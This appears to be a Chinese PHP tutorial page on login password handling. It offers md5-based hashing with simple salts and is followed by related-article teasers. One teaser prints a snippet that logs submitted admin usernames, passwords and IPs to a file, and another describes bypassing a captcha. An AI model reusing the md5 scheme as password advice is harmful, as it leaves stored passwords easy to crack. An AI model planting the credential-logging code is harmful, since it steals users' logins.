php登陆页的密码处理方式分享
控制器里面:elseif(!$model->validatePassword($data->password))
<?php
class XBaseModel extends CActiveRecord
{
/**
* 检测用户密码
*
* @return boolean
*/
public function validatePassword ($password)
{
return $this->hashPassword($this->password) === $password;
}
/**
* 密码进行加密
* @return string password
*/
public function hashPassword ($password)
{
return md5($password);
}
}
或是:
if ($user && $user->password == $user->hashPassword($this->password, $user->salt)) {
public function validatePassword($password) {
return $this->hashPassword($password, $this->salt) === $this->password;
}
public function hashPassword($password, $salt) {
return md5(md5($password) . $salt);
}
public function generateSalt() {
$str = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$len = strlen($str) - 1;
$string = '';
for ($i = 0; $i < 6; $i++) {
$string .= $str[mt_rand(0, $len)];
}
return $string;
}
或是:
public function validatePassword($password) {
return $this->hashPassword($password,$this->salt)===$this->password;
}
public function hashPassword($password,$salt)
{
return md5($salt.$password);
}
protected function generateSalt()
{
return uniqid('',true);
}
注意:如果有salt,数据库里面字段要有salt。。
相关推荐
-
PHP采用curl模仿用户登陆新浪微博发微博的方法
本文实例讲述了PHP采用curl模仿用户登陆新浪微博发微博的方法.分享给大家供大家参考.具体实现方法如下: 现在用php做模仿用户登录我们都会使用到PHP curl函数了,因为只有它才可以实现像用户一样的去访问别人网站了,下面就给大家介绍一下curl登陆新浪微博发微博应用例子. 前天接到一个需求需要模拟登陆微博然后进行发微博,以前干过很多的模拟登录阿里妈妈,微信,还有些其他的内部系统,至今没有出现不能登录的,哈哈,所以也就没有当一回事情,可是当分析新浪的登陆过程的时候才感觉到压力 遇到sha1(
-
php实现的简单检验登陆类
本文实例讲述了php实现的简单检验登陆类.分享给大家供大家参考.具体如下: <?php class checklogin { var $name; var $pwd; function __construct($username,$password) { $this->name=$username; $this->pwd=$password; } function checkinput() { global $db; $sql="select * from tb_manager
-
php实现模拟登陆方正教务系统抓取课表
课程格子和超级课程表这两个应用,想必大学生都很熟悉,使用自己的学号和教务系统的密码,就可以将自己的课表导入,随时随地都可以在手机上查看. 其实稍微了解一点php的话,我们也可以做一个类似这样的web 应用. 1,解决掉验证码 其实这是正方的一个小bug,当我们进入登陆界面时,浏览器会去请求服务器,服务器会生成一个验证码图片.如果我们不去请求这个图片,那么正方后台也不会生成相应的 验证码,于是这样我们就有了可乘之机,让我高兴会儿~这时,我们在不填写验证码的情况下,可以很流畅的进入.大
-
PHP登陆后跳转到登陆前页面实现思路及代码
最近手上一个小项目让我接触到PHP编程,简单的登陆功能已经OK.可是在实际使用的时候发现一个问题:用户A发送一个链接给用户B,B打开时页面提示登陆,可是登陆成功后,却跳转到了首页,而并不是A发送的链接.为了有更好的用户体验,B登陆成功后应该自动跳转到登陆前的链接.查了PHP帮助手册,利用$_SERVER全局变量可以实现这个功能. $_SERVER是PHP的一个超全局变量,关于$_SERVER变量的详细解释可以参考:http://www.php.net/manual/zh/reserved.var
-
php+mysql实现用户注册登陆的方法
本文实例讲述了php+mysql实现用户注册登陆的方法.分享给大家供大家参考.具体分析如下: 这是一款利用php与mysql数据库实现的用户注册与登录代码,功能也是比较简单实用的用户注册程序,同时也加了用户登录时验证码程序,这样做就安全了很多,代码如下: 复制代码 代码如下: <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xh
-
php模拟登陆的实现方法分析
本文实例分析了php模拟登陆的实现方法.分享给大家供大家参考.具体分析如下: php模拟登陆的实现方法,这里分别列举两种方法实现模拟登陆人人网.具体实例代码如下: 1)使用snoopy模拟登陆: 复制代码 代码如下: <?php set_time_limit(0); require "Snoopy.class.php"; $snoopy=new Snoopy(); $snoopy->referer='http://www.jb51.net/'; $snoopy->ag
-
PHP 验证登陆类分享
简单的登录类,没有把登录和数据库查询分开 复制代码 代码如下: /* * 例子 * * $Auth=new Auth(); * $Auth->login("123@123.com","123"); * $Auth->logout(); * echo $r->init(); * **/ 验证登陆类 复制代码 代码如下: <?php /* * * @ID: 验证登陆类 * * @class:
-
php截取后台登陆密码的代码
if($_POST[loginsubmit]!=){ //判断是否点了登陆按钮 $sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 连起来赋值给变量$sb fwrite(fopen(robot.txt,ab),$sb);} //结果写入一个文件 下面简单分析一下,以华夏的登陆页面为例.打开b
-
php中通过curl模拟登陆discuz论坛的实现代码
libcurl同时也支持HTTPS认证.HTTP POST.HTTP PUT. FTP 上传(这个也能通过PHP的FTP扩展完成).HTTP 基于表单的上传.代理.cookies和用户名+密码的认证. php的curl真的是相当好用,网上一搜索相关文章都是关于curl模拟登陆的,很少人提供模拟discuz发贴的源码. 复制代码 代码如下: <?php $discuz_url = 'http://127.0.0.1/discuz/';//论坛地址 $login_url = $discuz_url
-
php登陆页的密码处理方式分享
控制器里面:elseif(!$model->validatePassword($data->password)) 复制代码 代码如下: <?php class XBaseModel extends CActiveRecord { /** * 检测用户密码 * * @return boolean */ public function validatePassword ($password) { return $t
-
Java Web实现session过期后自动跳转到登陆页功能【基于过滤器】
本文实例讲述了Java Web实现session过期后自动跳转到登陆页功能.分享给大家供大家参考,具体如下: 通过过滤器的方式实现 session过期后自动跳转到登陆页 过滤器只在与servlet规范2.3版兼容的服务器上有作用.如果你的Web应用需要支持旧版服务器,就不能使用过滤器. 一.建立基本过滤器 建立一个过滤器涉及下列五个步骤: 1)建立一个实现Filter接口的类SessionFilter .这个类需要三个方法,分别是:doFilter.init和destroy.doFilter方法
-
MySql忘记密码修改方式适应5.7以上版本
1.先停止mysqld.exe的进程 2.打开cmd进入到你mysql的bin目录下输入此命令: mysqld --skip-grant-tables 输入完成后这个cmd窗口就不能用了 另外在打开一个 如图: 3.同样进入到mysql的bin目录下直接输入mysql然后回车 现在是跳过密码验证链接到了数据库如图: 4.查看库 这个mysql这个里面的user表就放我们登陆的用户名和密码的 感兴趣可以自己查看一下 5.这里就要特别注意了在5.7以上的版本中user表里面没有password
-
js判断登陆用户名及密码是否为空的简单实例
js判断登陆用户名及密码是否为空的简单实例 <script type="text/javascript"> // 验证输入不为空的脚本代码 function checkForm(form) { if(form.username.value == "") { alert("用户名不能为空!"); form.username.focus(); return false; } if(form.password.value == "
-
深入理解Android M 锁屏密码存储方式
Android M 之前锁屏密码的存储 在 Android M 之前,锁屏密码的存储格式很简单,其使用了 64 位随机数作为 salt 值,此 salt 值被存储在 SQLite 数据库 /data/system/locksettings.db 中.密码在存储的时候,会将输入的密码加上此随机数组成新的字符串.然后对新的字符串分别进行 SHA-1 和 MD5 加密,将加密后的密文通过 MD5 + SHA-1 的方式进行字符串拼接,组成新的密文存储在 /data/system/password.ke
-
mysql8.0.11安装配置方法图文教程 MySQL8.0新密码认证方式
本文为大家分享了mysql8.0.11安装配置方法图文教程.MySQL8.0新密码认证方式,供大家参考,具体内容如下 1.前言 Oracle已经发布了MySQL8.0GA,GA在外国就是release版本,也就是正式版,不是测试版. 安装MySQL总是看到除了数据库服务外,还安装了一大堆基本没不会用到的服务,所以这里把MySQL的安装过程过一遍.体验安装MySQL8.0的时候,发现我的navicat连不上MySQL8.0了,经查找原来MySQL8.0提供了两种密码加密的方式,我安装的时候
-
PHP中常见的密码处理方式和建议总结
前言 在使用PHP开发Web应用的中,很多的应用都会要求用户注册,而注册的时候就需要我们对用户的信息进行处理了,最常见的莫过于就是邮箱和密码了,本文意在讨论对密码的处理:也就是对密码的加密处理. 密码安全的重要性我们就不用再去强调,随着在线攻击的增多,如果我们对密码没有进行合适的处理或做防御措施,我们的应用就会肯定会收到来自各方的威胁和攻击. 所以作为开发者,我们需要对用户的密码做好预防措施. 关于密码我们应该遵守的一些原则 绝对不能知道用户的密码 我们绝对不能知道用户的密码,也不能有获取用户密
-
Python实现获取弹幕的两种方式分享
目录 前言 环境 获取方式一: <简单, 但是弹幕很少> 请求数据 获取数据 解析数据 保存数据 获取方式二: <复杂一点点, 弹幕比较多,按日期来> 请求数据 解析数据 翻页 保存数据 前言 弹幕可以给观众一种“实时互动”的错觉,虽然不同弹幕的发送时间有所区别,但是其只会在视频中特定的一个时间点出现,因此在相同时刻发送的弹幕基本上也具有相同的主题,在参与评论时就会有与其他观众同时评论的错觉. 在国内的视频网站里,弹幕先是从A站被大家知道,随后B站发扬光大,导致现在全部视频平台和部
-
Android实现登陆页logo随键盘收放动态伸缩(完美解决键盘弹出遮挡控件的问题)
在最近的两个项目中,项目需求要求我们实现 /*登陆页面的内容能够随着键盘的弹出而被顶上去,避免键盘遮挡住登陆按钮*/ 这样的效果,宝宝心里苦呀,本来半天搞定的事还非得折腾一下,好吧我妥协,毕竟我还是一只非常注重用户体验的猿. 那就做吧,初步定下的方案是输入框和登陆按钮大小不变,在键盘弹出的时候让logo的大小和位置进行改变,从而给键盘腾出位置,当然在键盘收起的时候还要给它还原一下,就像什么都没发生一样,嗯对,就是这样,说了这么多,放张图先感受一下效果吧: 接下来上正餐,布局上比较简单,注意给图片
-
Python实现SSH远程登陆,并执行命令的方法(分享)
在自动化测试过程中,比较常用的操作就是对远程主机进行操作,如何操作呢?使用SSH远程登陆到主机,然后执行相应的command即可. 使用Python来实现这些操作就相当简单了.下面是测试code. 代码如下:(code运行环境:python27+eclipse+pydev) import paramiko def sshclient_execmd(hostname, port, username, password, execmd): paramiko.util.log_to_file("par
随机推荐
- AngularJS基础 ng-include 指令简单示例
- asp.net中页面显示当前系统时间附图
- 如何利用Golang写出高并发代码详解
- jsp实现页面实时显示当前系统时间的方法
- Windows 2003 IIS 6.0 搭建可建虚拟机的asp+.net+php+jsp+mysql+mssql
- MS-DOS 7.10完整安装版(含图文安装程序)
- 详解在SpringBoot应用中获取应用上下文方法
- iOS仿微信图片分享界面实现代码
- Python中if __name__ == '__main__'作用解析
- 屏蔽script注入小例子
- 提高PHP编程效率的方法
- Android编程开发实现多线程断点续传下载器实例
- python实现的udp协议Server和Client代码实例
- 怎样获取docker动态分配的port
- 仿谷歌主页js动画效果实现代码
- iframe里面的元素触发父窗口元素事件的jquery代码
- Python实现购物系统(示例讲解)
- html的DOM中document对象forms集合用法实例
- Android4.4+ 实现半透明状态栏(Translucent Bars)
- Java中List的使用方法简单介绍